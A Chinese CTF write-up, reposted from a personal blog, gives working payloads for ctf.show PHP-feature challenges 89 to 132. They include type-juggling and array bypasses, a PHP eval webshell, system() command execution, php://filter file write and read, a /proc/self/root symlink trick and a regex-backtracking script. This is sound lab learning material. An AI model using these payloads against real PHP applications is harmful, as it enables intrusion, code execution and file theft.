ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

ctf_show-php特性-89-132

2021-10-18 19:00:07  阅读:394  来源: 互联网

标签:show root self flag 132 ctf post php proc


89

 

get传参,满足两个条件,不能出现0-9,但是要满足是整数

这里传入 ?num[]=a 即可,对于第一个过滤,preg_match()函数无法处理数组。对于第二个过滤,intval()** 不能用于 object,否则会产生 **`E_NOTICE`** 错误并返回 1。

 

 

90

 

?num=+4476 ,由于是强等于,绕过方法很多,加正号,八进制 16进制都可以

 

 

91

 

 m会匹配多行,因此传入%0a换行符即可

?cmd=%0aphp

 

 

92

 

 输入4476e1,即可开始会当作字符串,但是intval会理解为多次方

 

 

93

 

?num=4476.1 进制转换和小数点都可以

 

 

95

 

 ?num=4476.0 前后都是强等于,但是注意不能0开头,过滤了8进制,16进制。因此还可以用小数点,注意强等于,要用4476.0

 

 

96

 

 ?num=+010574,开头不能为0,但是可以加个+,再用8进制绕过

 

 

 97

 

a[]=1&b[]=2,md5不能处理数组

 

 

98

 

关键是这一句话:$_GET?$_GET=&$_POST:'flag'; 意思是如果有get传值,就让post传值覆盖它,因此get随便传入一个即可,post传入HTTP_FLAG=flag

?a=1  post:HTTP_FLAG=flag

 

 

99

 

注意到in_array是弱类型比较,因此其中存在1,我们传入n=1.php也是会返回true,由于每次传入都有可能传入1,因此1.php概率很大

?n=1.php  post:content=<?php @eval($_POST[1]);?>

 

 

 100

 ?v1=1&v2=print&v3=;print_r($ctfshow); 这里说一下前面检测数字的绕过: and和or的优先级是低于=的

 

 

 

101

 

 

 过滤了一大堆特殊符号,这里是一个考点,反射类 ?v1=1&v2=echo new Reflectionclass&v3=;

即echo new Reflectionclas('$ctfshow'),注意flag少一位,要自己爆破一下

 

 

102

 

这里要求v2是数字,v3是写入的文件名,比如叫1.php。但问题是要写入语句又要满足是数字。这里有call_user_func可以自己自订函数,这里用hex2bin函数,将十六进制串转为字符串

在php5是 is_ numeric可以分辨待遇字母的十六进制串,但是在php7却不能这么做,返回是flase

因此我们要寻找一种只有数字的16进制串,但是注意由于php代码有 <?>之类的符号,肯定会含有字母,因此可以先将php代码base64再hex,争取不含数字

最后找到这个串5044383959474e6864434171594473(含有e,但是e会被当作次方,不影响),最后要注意串从第二个开始,因此前面要再加上两个字符:115044383959474e6864434171594473

?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php   post:hex2bin

 

 

103

 同102

 

 

104

 

 

 传入两个数组即可,sha1也不能处理数组

 

 

105

简单的参数传递 ?temp=flag  post:error=temp

 

 

106

 

 

?v2[]=2  post: v1[]=1  同上一题

 

 

107

 

 

 看parse_str这个函数:

$a='q=123&p=456';
parse_str($a,$b);
echo $b['q'];   //输出123
echo $b['p'];   //输出456

因此post:v1=flag=c4ca4238a0b923820dcc509a6f75849b   get=?v3=1

 

 

108

 

 

 ?c=a%00778,这里注意ereg存在%00截断

 

 

109

 

 

 

通过异常处理类 Exception(system(‘cmd’)) 可以运行指定代码,并且能返回运行的结果(如果存在返回)

?v1=exception&v2=system('cat%20fl36dg.txt')

 

 

110

 

 上面一题的异常类也没法用了,这里用的是文件读取类

?v1=FilesystemIterator&v2=getcwd,getcwd返回当前路径(但是这个只能返回第一个值)

 

 

111

 

 

 ?v1=ctfshow&v2=GLOBALS  这是输出全局变量即可

 

 

112

 

 

 伪协议不用编码即可:?file=php://filter/resource=flag.php

 

 

113

 

 

 这里可以用其他的协议:file=compress.zlib://flag.php,

还有个预期解:

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

原理是:超过20次软连接后就可以绕过is_file

 

 

114

 

 

 没过滤filter,file=php://filter/resource=flag.php

 

 

115

 

注想办法绕过trim即可,这里tirm是删除两边一些符号,经过测试发现%0c没删除,?num=%0c36

 

 

123

php变量名不允许使用点号,会变成下划线,但如果出现了[,那么这个[转变为下划线后,后面的点并不会转化.

POC:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

(不知道变量名:echo implode(get_defined_vars()))

 

 

 

 125

 

方法一:poc:post: CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me&a=1

extract是将参数里的变量传入到当前里的符号表里,那么满足fl0g,能够输出flag

方法二:parse_str是字符串解析为变量,为指定解析到哪,会解析到当前符号表。

注意$a=$_SERVER['argv'];,这个变量会解析get传入的参数,如果是&分隔,它会认为是一个变量

 

 

 而用+号分割

 

 

 

还有一个比较基础的:

get:?1=flag.php
post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])

 

 

 

126

 

 

 方法同125的方法一

 

 

 

127

 

 

 首先注意$_SERVER["QUERY_STRING"],这个变量是获取后面的参数

http://www.xxx.com/index.php?p=222&q=u
$_SERVER["QUERY_STRING"]==>“p=222&q=u”;
$_SERVER["REQUEST_URI"] ==>"/?p=222&q=u";
$_SERVER["SCRIPT_NAME"] ==>"/index.php";
$_SERVER["PHP_SELF"] ==>"/index.php";

?ctf show=ilove36d,这里的空格会自动解析为_

 

 

 

128

 

 

 poc: ?f1=_&f2=get_defined_vars , get_defined_vars前面已经说过了是输出所有变量,而f1过滤了数字和大小写字母,这里利用_.

_()是gettext()的拓展函数
在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数

 

 

 

129

 

 

 伪协议加上ctfshow即可,?f=php://filter/ctfshow/resource=flag.php

 

 

 

130

直接f=ctfshow 即可

 

 

 

131

 

技巧:在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

post输入大量36dctfshow即可

import requests
url = "http://350eb7d4-454d-4c6d-a846-507f8dceffc0.challenge.ctf.show/"
data = {"f": "test"*250000+"36Dctfshow",}
r = requests.post(url=url, data=data)
print(r.text)

 

 

 

132

访问/admin

 

 payload:?username=admin&password=1&code=admin,简单的逻辑符号分析

 

标签:show,root,self,flag,132,ctf,post,php,proc
来源: https://www.cnblogs.com/aninock/p/15421870.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有